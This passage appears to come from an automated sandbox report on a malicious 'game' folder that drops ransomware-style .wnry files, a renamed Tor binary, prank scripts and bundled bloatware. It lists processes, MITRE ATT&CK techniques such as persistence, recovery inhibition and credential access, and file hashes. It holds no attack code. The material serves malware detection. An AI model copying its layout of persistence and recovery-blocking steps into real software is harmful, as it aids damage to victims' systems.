                                                                                                                                                                                                                                        PID:1632
                                                                                                                                                                                                                                  • C:\Windows\system32\netplwiz.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\netplwiz.exe"
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:2744
                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\rundll32.exe" shell32.dll,Control_RunDLL keymgr.dll
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:1776
                                                                                                                                                                                                                                • C:\Windows\system32\Dwm.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\Dwm.exe"
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:2108
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                                                                                                                                    C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:832

                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                          Windows Management Instrumentation

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1047

                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                          Active Setup

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.014

                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                          Active Setup

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.014

                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                          Direct Volume Access

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1006

                                                                                                                                                                                                                                          File and Directory Permissions Modification

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1222

                                                                                                                                                                                                                                          Windows File and Directory Permissions Modification

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1222.001

                                                                                                                                                                                                                                          Hide Artifacts

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1564

                                                                                                                                                                                                                                          Hidden Files and Directories

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1564.001

                                                                                                                                                                                                                                          Indicator Removal

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1070

                                                                                                                                                                                                                                          File Deletion

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1070.004

                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                          Unsecured Credentials

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1552

                                                                                                                                                                                                                                          Credentials In Files

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1552.001

                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                          Defacement

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1491

                                                                                                                                                                                                                                          Inhibit System Recovery

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1490

                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                          @[email protected]
                                                                                                                                                                                                                                          • Path C:\@[email protected]
                                                                                                                                                                                                                                          • Size 240KB
                                                                                                                                                                                                                                          • SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          @[email protected]
                                                                                                                                                                                                                                          • Path C:\ProgramData\Microsoft\User Account Pictures\@[email protected]
                                                                                                                                                                                                                                          • Size 681B
                                                                                                                                                                                                                                          • SHA256 e1e8a0616fa5f761afd688fe694b97f293aea92dd2806489d9304472a3cc3832
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 297700f74c5f0202d5670d4bfd73e3d6a451701e1edcd3a1e35d52f1cecab489
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 f399ec026e982aec770f5241f856f868f78e4e1f04b560d868d0f259579a15a7
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 e1d5a530d1e2785f29fb1325b513b163ca50ef58fa9bce57901be47a2db2ed53
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 a65805cdedc061425567f6794e7e008335bbde96a800894301472ab9794de81d
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 06b060708d0fff7ddb49f71acfebaa28462aec6f2d690f2fa56cd1ea66ea353f
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 7eb17ca00d799621599a97cc3b62819aefb59b2efab8f1cc9877f920ce6f5d32
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 0559f48e00199b770feba0aabc16818aa7f39323e312384fb3bd4cc71ce68f57
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 65b685129dc0e65e54efb86a274ee292ab7c5c6a91236d0b7bcc1feeba8bcbf5
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 8c9ee3f44c81acaf15ffefec8c3c3e010054c580f7658b86f4e3505b9a89cab9
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 1edfa30a1f36d49438dc9e7f22fce0dd2fd09d8c5befe6406e584e4235c70a0a
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 09216eb3ddaa7e26d17b02cc00e5d84423feb257edf7b836a180a5f77bee203e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 536622d95bc1cb042bd606a212b19e1b297531cf59036f9215c3efe2cdbdff50
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 d9d52db2663c9406a06c91403c9a1f791dc5f0625a50f390cdb3a62392a813fd
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 000cfa3c607101c3ac6511c594453c960bd9caa6e58f416a13b6b30d5b6a62a9
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 92d675159699092c498a815f3b3a736942159686e3861446b2b2f1d85aa96d97
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 7cd60b98ae115408483049d96fd8a4c4eb57da20f80a4ab989ed7dec1d034fd5
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 c470e00b4e069fd7c55a83be30f1eabc3bc861bb0422164c3487c41a6a389e62
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 69c689acaecd05f452fcbe811076e42f748cc150bb45716fc5b72025df8c35bc
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                                                                                                          • Size 342B
                                                                                                                                                                                                                                          • SHA256 679adedd67051dd183d4adfb5c38f9c4aba33d4b7082d77ebb13b0ac75c39efc
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          styles__ltr[1].css
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5J67VDZD\styles__ltr[1].css
                                                                                                                                                                                                                                          • Size 55KB
                                                                                                                                                                                                                                          • SHA256 0e04cd9eec042868e190cbdabf2f8f0c7172dcc54ab87eb616eca14258307b4d
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          recaptcha__en[1].js
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GE5J41S2\recaptcha__en[1].js
                                                                                                                                                                                                                                          • Size 533KB
                                                                                                                                                                                                                                          • SHA256 0ec782544506a0aea967ea044659c633e1ee735b79e5172cb263797cc5cefe3a
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          favicon[2].ico
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GLOK2QLQ\favicon[2].ico
                                                                                                                                                                                                                                          • Size 5KB
                                                                                                                                                                                                                                          • SHA256 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          qsml[1].xml
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J8I3CVQY\qsml[1].xml
                                                                                                                                                                                                                                          • Size 514B
                                                                                                                                                                                                                                          • SHA256 a1f27aaf6bb3f11558428d6ddf881004fab91685423fadc3ce6facc3db5a8b58
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          qsml[2].xml
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J8I3CVQY\qsml[2].xml
                                                                                                                                                                                                                                          • Size 502B
                                                                                                                                                                                                                                          • SHA256 9b5dda70c3375c11edd6c3a7c6722b5c2b0bdb7fad44ee71091b814e3df57096
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          qsml[3].xml
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J8I3CVQY\qsml[3].xml
                                                                                                                                                                                                                                          • Size 535B
                                                                                                                                                                                                                                          • SHA256 36364f7615cdaec5d46b3e46e6142a82b605fad60a5e7cfc6ec733296c9828c8
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          qsml[4].xml
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\J8I3CVQY\qsml[4].xml
                                                                                                                                                                                                                                          • Size 539B
                                                                                                                                                                                                                                          • SHA256 c36c07cebd367692686d0572355f11923fe6a5e9d9abb988d8ed25ac8262a9b8
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Adobe_Flash_Player.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\Adobe_Flash_Player.exe
                                                                                                                                                                                                                                          • Size 114B
                                                                                                                                                                                                                                          • SHA256 4d4588c42fa8df0ea45ad48aca4511bb4286f0deaa41fdf188c3b7ab9e1b698a
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          CabF54A.tmp
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\CabF54A.tmp
                                                                                                                                                                                                                                          • Size 70KB
                                                                                                                                                                                                                                          • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          TarF549.tmp
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\TarF549.tmp
                                                                                                                                                                                                                                          • Size 181KB
                                                                                                                                                                                                                                          • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          cached-microdescs.new
                                                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                                                                                                                                                                                                                                          • Size 6.2MB
                                                                                                                                                                                                                                          • SHA256 ef7a8c9db2947d9660d58294398185c94a5e77420d6d8da109f05085fb067909
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          323671721043228.bat
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\323671721043228.bat
                                                                                                                                                                                                                                          • Size 412B
                                                                                                                                                                                                                                          • SHA256 77857ba8803dbc17865255a7fa595a902db35b85e4933faa35499de33b6cb6e6
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          @[email protected]
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                                                                                                                          • Size 933B
                                                                                                                                                                                                                                          • SHA256 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          FloweyTransparent.png
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\FloweyTransparent.png
                                                                                                                                                                                                                                          • Size 141KB
                                                                                                                                                                                                                                          • SHA256 9912414319474c62a7d906b5c5f41627d0d8a0c84c2d4ec198bef720fa62bb8f
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          IMPORTANT.txt
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\IMPORTANT.txt
                                                                                                                                                                                                                                          • Size 273B
                                                                                                                                                                                                                                          • SHA256 20cd2cf85675a5cfdcba4d355df959d71a9e1944888a7ecea7e3f7a16e8adbf9
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Interop.ShockwaveFlashObjects.dll
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\Interop.ShockwaveFlashObjects.dll
                                                                                                                                                                                                                                          • Size 21KB
                                                                                                                                                                                                                                          • SHA256 63af704211a03f6ff6530ebfca095b6c97636ab66e5a6de80d167b19c3c30c66
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          taskhsvc.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\TaskData\Tor\taskhsvc.exe
                                                                                                                                                                                                                                          • Size 3.0MB
                                                                                                                                                                                                                                          • SHA256 e48673680746fbe027e8982f62a83c298d6fb46ad9243de8e79b7e5a24dcd4eb
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          YFGA.bat
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\YFGA.bat
                                                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                                                          • SHA256 5675fb3256470cec0a9b5e1ca63aac7331803e3a31c2cc6d8d62a17687335378
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          YouAreAnIdiot.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\YouAreAnIdiot.exe
                                                                                                                                                                                                                                          • Size 424KB
                                                                                                                                                                                                                                          • SHA256 1f69810b8fe71e30a8738278adf09dd982f7de0ab9891d296ce7ea61b3fa4f69
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          annoy.vbs
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs
                                                                                                                                                                                                                                          • Size 50B
                                                                                                                                                                                                                                          • SHA256 307879bf0d9bec07bab240b5010434801fbee520c99c5a617e8ac630f42dde80
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          annoy2.vbs
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs
                                                                                                                                                                                                                                          • Size 44B
                                                                                                                                                                                                                                          • SHA256 4519cd5997afce27129ef943f121972f7b0b34aa018e4dd408892fc5c39bb59e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          annoy3.vbs
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy3.vbs
                                                                                                                                                                                                                                          • Size 56B
                                                                                                                                                                                                                                          • SHA256 dbec312d736f8a56f94ace99986d95d4355ef644a2fd908da1ff4c8b0a003979
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          b.wnry
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\b.wnry
                                                                                                                                                                                                                                          • Size 1.4MB
                                                                                                                                                                                                                                          • SHA256 d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          OperaSetup.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\OperaSetup.exe
                                                                                                                                                                                                                                          • Size 2.0MB
                                                                                                                                                                                                                                          • SHA256 4b6d2615f53454076b996a91473287e5fc882ce266933cfbe815a63477ed8407
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          bewidgets.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\bewidgets.exe
                                                                                                                                                                                                                                          • Size 843KB
                                                                                                                                                                                                                                          • SHA256 eca41ee73faaa7e85ecf4d4c6d4df0e078c36c6554f25142b5e68b2b6cf68272
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          bloatware.cmd
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\bloatware.cmd
                                                                                                                                                                                                                                          • Size 140B
                                                                                                                                                                                                                                          • SHA256 81a20f21135c05252a3dd2042ff39bf044624c79f6d9ec9fd412a8c9b38d83a3
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          fontcreator.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\fontcreator.exe
                                                                                                                                                                                                                                          • Size 25.2MB
                                                                                                                                                                                                                                          • SHA256 1e3cf9b81993ca63c3da99c4ec29d8826d5ac65be4088b4e4fd52f11224be96c
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          iconchanger.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\iconchanger.exe
                                                                                                                                                                                                                                          • Size 1.1MB
                                                                                                                                                                                                                                          • SHA256 14068d0948dfeedc5908573fcaa2704536faa8b0fbea8caac61b9fb264cc204d
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          pixelsee.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\pixelsee.exe
                                                                                                                                                                                                                                          • Size 4.8MB
                                                                                                                                                                                                                                          • SHA256 a9427d47bf1cfadd009990ca09feb2af88823f5908b17e2afa70c8c49c95b3eb
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          qtranslate.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\bloatware\qtranslate.exe
                                                                                                                                                                                                                                          • Size 908KB
                                                                                                                                                                                                                                          • SHA256 d395af3c10e18c944cf8ade76a650623dc23e050eaf652ff31056c84077a013c
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          c.wnry
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\c.wnry
                                                                                                                                                                                                                                          • Size 780B
                                                                                                                                                                                                                                          • SHA256 ef0ed0b717d1b956eb6c42ba1f4fd2283cf7c8416bed0afd1e8805ee0502f2b4
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          china.png
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\china.png
